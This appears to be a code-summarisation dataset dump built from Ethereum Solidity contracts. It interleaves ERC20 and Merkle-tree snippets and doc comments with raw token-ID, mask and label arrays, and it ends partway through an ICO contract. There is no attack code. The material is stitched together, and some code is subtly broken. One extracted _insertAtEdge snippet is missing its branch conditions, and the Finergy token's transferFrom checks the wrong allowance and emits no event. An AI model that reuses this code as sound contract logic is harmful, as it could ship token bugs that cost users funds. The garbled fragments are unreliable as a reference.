items[_user][_id]; return ( item.id, item.beneficiary, item.value, item.releaseTime, item.fulfilled ); } }
* @dev Transfer tokens from one address to another @param _from address The address which you want to send tokens from @param _to address The address which you want to transfer to @param _value uint256 the amount of tokens to be transferred/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; }
12,904,276
[ 1, 5912, 2430, 628, 1245, 1758, 358, 4042, 225, 389, 2080, 1758, 1021, 1758, 1492, 1846, 2545, 358, 1366, 2430, 628, 225, 389, 869, 1758, 1021, 1758, 1492, 1846, 2545, 358, 7412, 358, 225, 389, 1132, 2254, 5034, 326, 3844, 434, 2430, 358, 506, 906, 4193, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 7412, 1265, 12, 2867, 389, 2080, 16, 1758, 389, 869, 16, 2254, 5034, 389, 1132, 13, 1071, 3849, 1135, 261, 6430, 13, 288, 203, 565, 2583, 24899, 869, 480, 1758, 12, 20, 10019, 203, 565, 2583, 24899, 1132, 1648, 324, 26488, 63, 67, 2080, 19226, 203, 565, 2583, 24899, 1132, 1648, 2935, 63, 67, 2080, 6362, 3576, 18, 15330, 19226, 203, 203, 565, 324, 26488, 63, 67, 2080, 65, 273, 324, 26488, 63, 67, 2080, 8009, 1717, 24899, 1132, 1769, 203, 203, 565, 2935, 63, 67, 2080, 6362, 3576, 18, 15330, 65, 273, 2935, 63, 67, 2080, 6362, 3576, 18, 15330, 8009, 1717, 24899, 1132, 1769, 203, 565, 3626, 12279, 24899, 2080, 16, 389, 869, 16, 389, 1132, 1769, 203, 565, 327, 638, 31, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x924D3b979a2C91730561fBE559547225dc70497D/sources/contracts/v2/ERC20.sol
* @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./
contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string internal _name; string internal _symbol; uint8 internal _decimals; function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
3,867,728
[ 1, 13621, 434, 326, 288, 45, 654, 39, 3462, 97, 1560, 18, 1220, 4471, 353, 279, 1600, 669, 335, 358, 326, 4031, 2430, 854, 2522, 18, 1220, 4696, 716, 279, 14467, 12860, 711, 358, 506, 3096, 316, 279, 10379, 6835, 1450, 288, 67, 81, 474, 5496, 2457, 279, 5210, 12860, 2621, 288, 654, 39, 3462, 18385, 49, 2761, 16507, 1355, 5496, 399, 2579, 30, 2457, 279, 6864, 1045, 416, 2621, 3134, 7343, 358, 2348, 14467, 1791, 28757, 8009, 1660, 1240, 10860, 7470, 3502, 62, 881, 84, 292, 267, 9875, 14567, 30, 4186, 15226, 3560, 434, 5785, 1375, 5743, 68, 603, 5166, 18, 1220, 6885, 353, 1661, 546, 12617, 15797, 287, 471, 1552, 486, 7546, 598, 326, 26305, 434, 4232, 39, 3462, 12165, 18, 26775, 16, 392, 288, 23461, 97, 871, 353, 17826, 603, 4097, 358, 288, 13866, 1265, 5496, 1220, 5360, 12165, 358, 23243, 326, 1699, 1359, 364, 777, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 16351, 4232, 39, 3462, 353, 1772, 16, 467, 654, 39, 3462, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 3238, 389, 70, 26488, 31, 203, 203, 565, 2874, 261, 2867, 516, 2874, 261, 2867, 516, 2254, 5034, 3719, 3238, 389, 5965, 6872, 31, 203, 203, 565, 2254, 5034, 3238, 389, 4963, 3088, 1283, 31, 203, 203, 565, 533, 2713, 389, 529, 31, 203, 565, 533, 2713, 389, 7175, 31, 203, 565, 2254, 28, 2713, 389, 31734, 31, 203, 203, 203, 565, 445, 508, 1435, 1071, 1476, 1135, 261, 1080, 3778, 13, 288, 203, 3639, 327, 389, 529, 31, 203, 565, 289, 203, 203, 565, 445, 3273, 1435, 1071, 1476, 1135, 261, 1080, 3778, 13, 288, 203, 3639, 327, 389, 7175, 31, 203, 565, 289, 203, 203, 565, 445, 15105, 1435, 1071, 1476, 1135, 261, 11890, 28, 13, 288, 203, 3639, 327, 389, 31734, 31, 203, 565, 289, 203, 203, 565, 445, 2078, 3088, 1283, 1435, 1071, 1476, 3849, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 327, 389, 4963, 3088, 1283, 31, 203, 565, 289, 203, 203, 565, 445, 11013, 951, 12, 2867, 2236, 13, 1071, 1476, 3849, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 327, 389, 70, 26488, 63, 4631, 15533, 203, 565, 289, 203, 203, 565, 445, 7412, 12, 2867, 8027, 16, 2254, 5034, 3844, 13, 1071, 5024, 3849, 1135, 261, 6430, 13, 288, 203, 3639, 389, 13866, 24899, 3576, 12021, 9334, 8027, 16, 3844, 1769, 203, 3639, 327, 2 ]
pragma solidity >=0.5.0 <0.6.0; import {Utils} from "./utils.sol"; import {D} from "./data.sol"; /** MIT License Based on patricia-trie implementation of chriseth */ library PartialMerkleTree { using D for D.Edge; struct Tree { // Mapping of hash of key to value mapping(bytes32 => bytes) values; // Particia tree nodes (hash to decoded contents) mapping(bytes32 => D.Node) nodes; // The current root hash, keccak256(node(path_M('')), path_M('')) bytes32 root; D.Edge rootEdge; } function initialize(Tree storage tree, bytes32 root) internal { require(tree.root == bytes32(0)); tree.root = root; } function commitBranch( Tree storage tree, bytes memory key, bytes memory value, uint branchMask, bytes32[] memory siblings ) internal { D.Label memory k = D.Label(keccak256(key), 256); D.Edge memory e; e.node = keccak256(value); tree.values[e.node] = value; // e.node(0x083d) for (uint i = 0; branchMask != 0; i++) { // retrieve edge data with branch mask uint bitSet = Utils.lowestBitSet(branchMask); branchMask &= ~(uint(1) << bitSet); (k, e.label) = Utils.splitAt(k, 255 - bitSet); uint bit; (bit, e.label) = Utils.chopFirstBit(e.label); // find upper node with retrieved edge & sibling bytes32[2] memory edgeHashes; edgeHashes[bit] = edgeHash(e); edgeHashes[1 - bit] = siblings[siblings.length - i - 1]; bytes32 upperNode = keccak256(abi.encode(edgeHashes[0], edgeHashes[1])); // Update sibling information D.Node storage parentNode = tree.nodes[upperNode]; // Put edge parentNode.children[bit] = e; // Put sibling edge if needed if (parentNode.children[1 - bit].isEmpty()) { parentNode.children[1 - bit].header = siblings[siblings.length - i - 1]; } // go to upper edge e.node = keccak256(abi.encode(edgeHashes[0], edgeHashes[1])); } e.label = k; require(tree.root == edgeHash(e)); tree.root = edgeHash(e); tree.rootEdge = e; } function commitBranchOfNonInclusion( Tree storage tree, bytes memory key, bytes32 potentialSiblingLabel, bytes32 potentialSiblingValue, uint branchMask, bytes32[] memory siblings ) internal { D.Label memory k = D.Label(keccak256(key), 256); D.Edge memory e; // e.node(0x083d) for (uint i = 0; branchMask != 0; i++) { // retrieve edge data with branch mask uint bitSet = Utils.lowestBitSet(branchMask); branchMask &= ~(uint(1) << bitSet); (k, e.label) = Utils.splitAt(k, 255 - bitSet); uint bit; (bit, e.label) = Utils.chopFirstBit(e.label); if (i == 0) { e.label.length = bitSet; e.label.data = potentialSiblingLabel; e.node = potentialSiblingValue; } // find upper node with retrieved edge & sibling bytes32[2] memory edgeHashes; edgeHashes[bit] = edgeHash(e); edgeHashes[1 - bit] = siblings[siblings.length - i - 1]; bytes32 upperNode = keccak256(abi.encode(edgeHashes[0], edgeHashes[1])); // Update sibling information D.Node storage parentNode = tree.nodes[upperNode]; // Put edge parentNode.children[bit] = e; // Put sibling edge if needed if (parentNode.children[1 - bit].isEmpty()) { parentNode.children[1 - bit].header = siblings[siblings.length - i - 1]; } // go to upper edge e.node = keccak256(abi.encode(edgeHashes[0], edgeHashes[1])); } e.label = k; require(tree.root == edgeHash(e)); tree.root = edgeHash(e); tree.rootEdge = e; } function insert( Tree storage tree, bytes memory key, bytes memory value ) internal { D.Label memory k = D.Label(keccak256(key), 256); bytes32 valueHash = keccak256(value); tree.values[valueHash] = value; // keys.push(key); D.Edge memory e; if (tree.rootEdge.node == 0 && tree.rootEdge.label.length == 0) { // Empty Trie e.label = k; e.node = valueHash; } else { e = _insertAtEdge(tree, tree.rootEdge, k, valueHash); } tree.root = edgeHash(e); tree.rootEdge = e; } function get(Tree storage tree, bytes memory key) internal view returns (bytes memory) { return getValue(tree, _findNode(tree, key)); } function safeGet(Tree storage tree, bytes memory key) internal view returns (bytes memory value) { bytes32 valueHash = _findNode(tree, key); require(valueHash != bytes32(0)); value = getValue(tree, valueHash); require(valueHash == keccak256(value)); } function doesInclude(Tree storage tree, bytes memory key) internal view returns (bool) { return doesIncludeHashedKey(tree, keccak256(key)); } function doesIncludeHashedKey(Tree storage tree, bytes32 hashedKey) internal view returns (bool) { bytes32 valueHash = _findNodeWithHashedKey(tree, hashedKey); return (valueHash != bytes32(0)); } function getValue(Tree storage tree, bytes32 valueHash) internal view returns (bytes memory) { return tree.values[valueHash]; } function getRootHash(Tree storage tree) internal view returns (bytes32) { return tree.root; } function edgeHash(D.Edge memory e) internal pure returns (bytes32) { require(!e.isEmpty()); if (e.hasNode()) { return keccak256(abi.encode(e.node, e.label.length, e.label.data)); } else { return e.header; } } // Returns the hash of the encoding of a node. function hash(D.Node memory n) internal pure returns (bytes32) { return keccak256(abi.encode(edgeHash(n.children[0]), edgeHash(n.children[1]))); } // Returns the Merkle-proof for the given key // Proof format should be: // - uint branchMask - bitmask with high bits at the positions in the key // where we have branch nodes (bit in key denotes direction) // - bytes32[] hashes - hashes of sibling edges function getProof(Tree storage tree, bytes memory key) internal view returns (uint branchMask, bytes32[] memory _siblings) { return getProofWithHashedKey(tree, keccak256(key)); } function getProofWithHashedKey(Tree storage tree, bytes32 hashedKey) internal view returns (uint branchMask, bytes32[] memory _siblings) { D.Label memory k = D.Label(hashedKey, 256); D.Edge memory e = tree.rootEdge; bytes32[256] memory siblings; uint length; uint numSiblings; while (true) { D.Label memory prefix; D.Label memory suffix; (prefix, suffix) = Utils.splitCommonPrefix(k, e.label); require(prefix.length == e.label.length); if (suffix.length == 0) { // Found it break; } length += prefix.length; branchMask |= uint(1) << (255 - length); length += 1; uint head; D.Label memory tail; (head, tail) = Utils.chopFirstBit(suffix); siblings[numSiblings++] = edgeHash(tree.nodes[e.node].children[1 - head]); e = tree.nodes[e.node].children[head]; k = tail; } if (numSiblings > 0) { _siblings = new bytes32[](numSiblings); for (uint i = 0; i < numSiblings; i++) _siblings[i] = siblings[i]; } } function getNonInclusionProof(Tree storage tree, bytes memory key) internal view returns ( bytes32 potentialSiblingLabel, bytes32 potentialSiblingValue, uint branchMask, bytes32[] memory _siblings ) { return getNonInclusionProofWithHashedKey(tree, keccak256(key)); } function getNonInclusionProofWithHashedKey(Tree storage tree, bytes32 hashedKey) internal view returns ( bytes32 potentialSiblingLabel, bytes32 potentialSiblingValue, uint branchMask, bytes32[] memory _siblings ){ uint length; uint numSiblings; // Start from root edge D.Label memory label = D.Label(hashedKey, 256); D.Edge memory e = tree.rootEdge; bytes32[256] memory siblings; while (true) { // Find at edge require(label.length >= e.label.length); D.Label memory prefix; D.Label memory suffix; (prefix, suffix) = Utils.splitCommonPrefix(label, e.label); // suffix.length == 0 means that the key exists. Thus the length of the suffix should be not zero require(suffix.length != 0); if (prefix.length >= e.label.length) { // Partial matched, keep finding length += prefix.length; branchMask |= uint(1) << (255 - length); length += 1; uint head; (head, label) = Utils.chopFirstBit(suffix); siblings[numSiblings++] = edgeHash(tree.nodes[e.node].children[1 - head]); e = tree.nodes[e.node].children[head]; } else { // Found the potential sibling. Set data to return potentialSiblingLabel = e.label.data; potentialSiblingValue = e.node; break; } } if (numSiblings > 0) { _siblings = new bytes32[](numSiblings); for (uint i = 0; i < numSiblings; i++) _siblings[i] = siblings[i]; } } function verifyProof( bytes32 rootHash, bytes memory key, bytes memory value, uint branchMask, bytes32[] memory siblings ) public pure { D.Label memory k = D.Label(keccak256(key), 256); D.Edge memory e; e.node = keccak256(value); for (uint i = 0; branchMask != 0; i++) { uint bitSet = Utils.lowestBitSet(branchMask); branchMask &= ~(uint(1) << bitSet); (k, e.label) = Utils.splitAt(k, 255 - bitSet); uint bit; (bit, e.label) = Utils.chopFirstBit(e.label); bytes32[2] memory edgeHashes; edgeHashes[bit] = edgeHash(e); edgeHashes[1 - bit] = siblings[siblings.length - i - 1]; e.node = keccak256(abi.encode(edgeHashes[0], edgeHashes[1])); } e.label = k; require(rootHash == edgeHash(e)); } function verifyNonInclusionProof( bytes32 rootHash, bytes memory key, bytes32 potentialSiblingLabel, bytes32 potentialSiblingValue, uint branchMask, bytes32[] memory siblings ) public pure { D.Label memory k = D.Label(keccak256(key), 256); D.Edge memory e; for (uint i = 0; branchMask != 0; i++) { uint bitSet = Utils.lowestBitSet(branchMask); branchMask &= ~(uint(1) << bitSet); (k, e.label) = Utils.splitAt(k, 255 - bitSet); uint bit; (bit, e.label) = Utils.chopFirstBit(e.label); bytes32[2] memory edgeHashes; if (i == 0) { e.label.length = bitSet; e.label.data = potentialSiblingLabel; e.node = potentialSiblingValue; } edgeHashes[bit] = edgeHash(e); edgeHashes[1 - bit] = siblings[siblings.length - i - 1]; e.node = keccak256(abi.encode(edgeHashes[0], edgeHashes[1])); } e.label = k; require(rootHash == edgeHash(e)); } function newEdge(bytes32 node, D.Label memory label) internal pure returns (D.Edge memory e){ e.node = node; e.label = label; } function _insertAtNode(Tree storage tree, bytes32 nodeHash, D.Label memory key, bytes32 value) private returns (bytes32) { // require(key.length > 1); D.Node memory n = tree.nodes[nodeHash]; uint head; D.Label memory tail; (head, tail) = Utils.chopFirstBit(key); n.children[head] = _insertAtEdge(tree, n.children[head], tail, value); return _replaceNode(tree, nodeHash, n); } function _insertAtEdge(Tree storage tree, D.Edge memory e, D.Label memory key, bytes32 value) private returns (D.Edge memory) { // require(e.hasNode()); require(key.length >= e.label.length); D.Label memory prefix; D.Label memory suffix; (prefix, suffix) = Utils.splitCommonPrefix(key, e.label); bytes32 newNodeHash; if (suffix.length == 0) { // Full match with the key, update operation newNodeHash = value; } else if (prefix.length >= e.label.length && e.hasNode()) { // Partial match, just follow the path newNodeHash = _insertAtNode(tree, e.node, suffix, value); } else { // Mismatch, so let us create a new branch node. uint head; D.Label memory tail; (head, tail) = Utils.chopFirstBit(suffix); D.Node memory branchNode; branchNode.children[head] = newEdge(value, tail); branchNode.children[1 - head] = newEdge(e.node, Utils.removePrefix(e.label, prefix.length + 1)); newNodeHash = _insertNode(tree, branchNode); } return newEdge(newNodeHash, prefix); } function _insertNode(Tree storage tree, D.Node memory n) private returns (bytes32 newHash) { bytes32 h = hash(n); tree.nodes[h].children[0] = n.children[0]; tree.nodes[h].children[1] = n.children[1]; return h; } function _replaceNode(Tree storage tree, bytes32 oldHash, D.Node memory n) private returns (bytes32 newHash) { delete tree.nodes[oldHash]; return _insertNode(tree, n); } function _findNode(Tree storage tree, bytes memory key) private view returns (bytes32) { return _findNodeWithHashedKey(tree, keccak256(key)); } function _findNodeWithHashedKey(Tree storage tree, bytes32 hashedKey) private view returns (bytes32) { if (tree.rootEdge.node == 0 && tree.rootEdge.label.length == 0) { return 0; } else { D.Label memory k = D.Label(hashedKey, 256); return _findAtEdge(tree, tree.rootEdge, k); } } function _findAtNode(Tree storage tree, bytes32 nodeHash, D.Label memory key) private view returns (bytes32) { require(key.length > 1); D.Node memory n = tree.nodes[nodeHash]; uint head; D.Label memory tail; (head, tail) = Utils.chopFirstBit(key); return _findAtEdge(tree, n.children[head], tail); } function _findAtEdge(Tree storage tree, D.Edge memory e, D.Label memory key) private view returns (bytes32){ require(key.length >= e.label.length); D.Label memory prefix; D.Label memory suffix; (prefix, suffix) = Utils.splitCommonPrefix(key, e.label); if (suffix.length == 0) { // Full match with the key, update operation return e.node; } else if (prefix.length >= e.label.length) { // Partial match, just follow the path return _findAtNode(tree, e.node, suffix); } else { // Mismatch, return empty bytes return bytes32(0); } } }
require(e.hasNode()); Full match with the key, update operation Partial match, just follow the path Mismatch, so let us create a new branch node.
function _insertAtEdge(Tree storage tree, D.Edge memory e, D.Label memory key, bytes32 value) private returns (D.Edge memory) { require(key.length >= e.label.length); D.Label memory prefix; D.Label memory suffix; (prefix, suffix) = Utils.splitCommonPrefix(key, e.label); bytes32 newNodeHash; if (suffix.length == 0) { newNodeHash = value; newNodeHash = _insertAtNode(tree, e.node, suffix, value); uint head; D.Label memory tail; (head, tail) = Utils.chopFirstBit(suffix); D.Node memory branchNode; branchNode.children[head] = newEdge(value, tail); branchNode.children[1 - head] = newEdge(e.node, Utils.removePrefix(e.label, prefix.length + 1)); newNodeHash = _insertNode(tree, branchNode); } return newEdge(newNodeHash, prefix); }
12,737,349
[ 1, 6528, 12, 73, 18, 5332, 907, 10663, 11692, 845, 598, 326, 498, 16, 1089, 1674, 19060, 845, 16, 2537, 2805, 326, 589, 16584, 1916, 16, 1427, 2231, 584, 752, 279, 394, 3803, 756, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 6387, 861, 6098, 12, 2471, 2502, 2151, 16, 463, 18, 6098, 3778, 425, 16, 463, 18, 2224, 3778, 498, 16, 1731, 1578, 460, 13, 3238, 1135, 261, 40, 18, 6098, 3778, 13, 288, 203, 3639, 2583, 12, 856, 18, 2469, 1545, 425, 18, 1925, 18, 2469, 1769, 203, 3639, 463, 18, 2224, 3778, 1633, 31, 203, 3639, 463, 18, 2224, 3778, 3758, 31, 203, 3639, 261, 3239, 16, 3758, 13, 273, 6091, 18, 4939, 6517, 2244, 12, 856, 16, 425, 18, 1925, 1769, 203, 3639, 1731, 1578, 10942, 2310, 31, 203, 3639, 309, 261, 8477, 18, 2469, 422, 374, 13, 288, 203, 5411, 10942, 2310, 273, 460, 31, 203, 5411, 10942, 2310, 273, 389, 6387, 861, 907, 12, 3413, 16, 425, 18, 2159, 16, 3758, 16, 460, 1769, 203, 5411, 2254, 910, 31, 203, 5411, 463, 18, 2224, 3778, 5798, 31, 203, 5411, 261, 1978, 16, 5798, 13, 273, 6091, 18, 343, 556, 3759, 5775, 12, 8477, 1769, 203, 5411, 463, 18, 907, 3778, 3803, 907, 31, 203, 5411, 3803, 907, 18, 5906, 63, 1978, 65, 273, 394, 6098, 12, 1132, 16, 5798, 1769, 203, 5411, 3803, 907, 18, 5906, 63, 21, 300, 910, 65, 273, 394, 6098, 12, 73, 18, 2159, 16, 6091, 18, 4479, 2244, 12, 73, 18, 1925, 16, 1633, 18, 2469, 397, 404, 10019, 203, 5411, 10942, 2310, 273, 389, 6387, 907, 12, 3413, 16, 3803, 907, 1769, 203, 3639, 289, 203, 3639, 327, 394, 6098, 12, 2704, 907, 2310, 16, 1633, 1769, 203, 565, 289, 203, 2 ]
// SPDX-License-Identifier: MIT pragma solidity >=0.4.22 <0.8.0; // pragma solidity ^0.5.2; interface ERC20Interface { function totalSupply() external view returns (uint); function balanceOf(address tokenOwner) external view returns (uint balance); function transfer(address to, uint tokens) external returns (bool success); function allowance(address tokenOwner, address spender) external view returns (uint remaining); function approve(address spender, uint tokens) external returns (bool success); function transferFrom(address from, address to, uint tokens) external returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract FinergyToken is ERC20Interface { string public name = 'Finergo'; string public symbol = 'FNER'; uint public decimals = 0; uint public supply; // the no of Cryptos wanted by the founder address public founder; // the account that deploys this contract(Cryptos) mapping(address => uint) public balances; // allowed[0x111...][0x222...] = 100; allowed[owner's address][spender's address] = 100; mapping(address => mapping(address => uint)) allowed; // event Transfer(address indexed from, address indexed to, uint tokens); constructor() public { supply = 300000; // can be an argument. here its 300000 Finergo founder = msg.sender; balances[founder] = supply; // at the beginning the founder has all the tokens (300000 Finergo). and can transfer to other accts. } function allowance(address tokenOwner, address spender) public override view returns (uint) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public override returns (bool) { require(balances[msg.sender] >= tokens); require(tokens > 0); allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public override virtual returns (bool) { require(allowed[from][to] >= tokens); require(balances[from] >= tokens); balances[from] -= tokens; balances[to] += tokens; allowed[from][to] -= tokens; return true; } function totalSupply() public override view returns (uint) { return supply; } function balanceOf(address tokenOwner) public override view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public override virtual returns (bool success) { require(balances[msg.sender] > tokens && tokens > 0); balances[to] += tokens; balances[msg.sender] -= tokens; emit Transfer(msg.sender, to, tokens); return true; } } contract Finergy is FinergyToken { address payable public provider; address payable public depositAddress; // external acct where ether sent to this ICO will be deposited, controlled by admin // token price in wei: 1FNER = 0.001 ETHER, 1 ETHER = 1000 FNER uint tokenPrice = 1000000000000000; // in wei // max amount of ether accepted by the funding 300 ETHER uint public hardCap = 300000000000000000000; // in wei uint public raisedAmount; uint public fundingStart = block.timestamp; uint public fundingEnd = block.timestamp + 604800; // one week // freeze the token for an amount of time because early investors could damp the token this way their price will decrease uint coinTradeStart = fundingEnd + 604800; // transferable in a week after salesEnd uint public maxInvestment = 5000000000000000000; // 5 ETHER uint public minInvestment = 10000000000000000; // 0.001 ETHER enum State { beforeStart, running, afterEnd, stopped } State public icoState; uint public noOfFunders; mapping (address => uint) funders; struct Request { string description; uint value; bool completed; uint noOfVoters; mapping (address => bool) voters; } Request[] public requests; event Invest(address investor, uint value, uint tokens); event CreateRequest(string _description, uint _value); event MakePayment(string description, uint value); modifier onlyProvider() { require(msg.sender == provider); _; } constructor (address payable _deposit) public { depositAddress = _deposit; provider = msg.sender; // acct that deploys the ico contract icoState = State.beforeStart; // ico start after deployment } // emergency stop of the ico function stopIco() public onlyProvider { icoState = State.stopped; } // restart function restartIco() public onlyProvider { icoState = State.running; } function changeDepositAddress(address payable newDeposit) public onlyProvider { depositAddress = newDeposit; } function getDepositBalance() public view returns (uint) { return depositAddress.balance; } function getCurrentState() public view returns (State) { if(icoState == State.stopped) { return State.stopped; } else if (block.timestamp < fundingStart) { return State.beforeStart; } else if (block.timestamp >= fundingStart && block.timestamp <= fundingEnd) { return State.running; 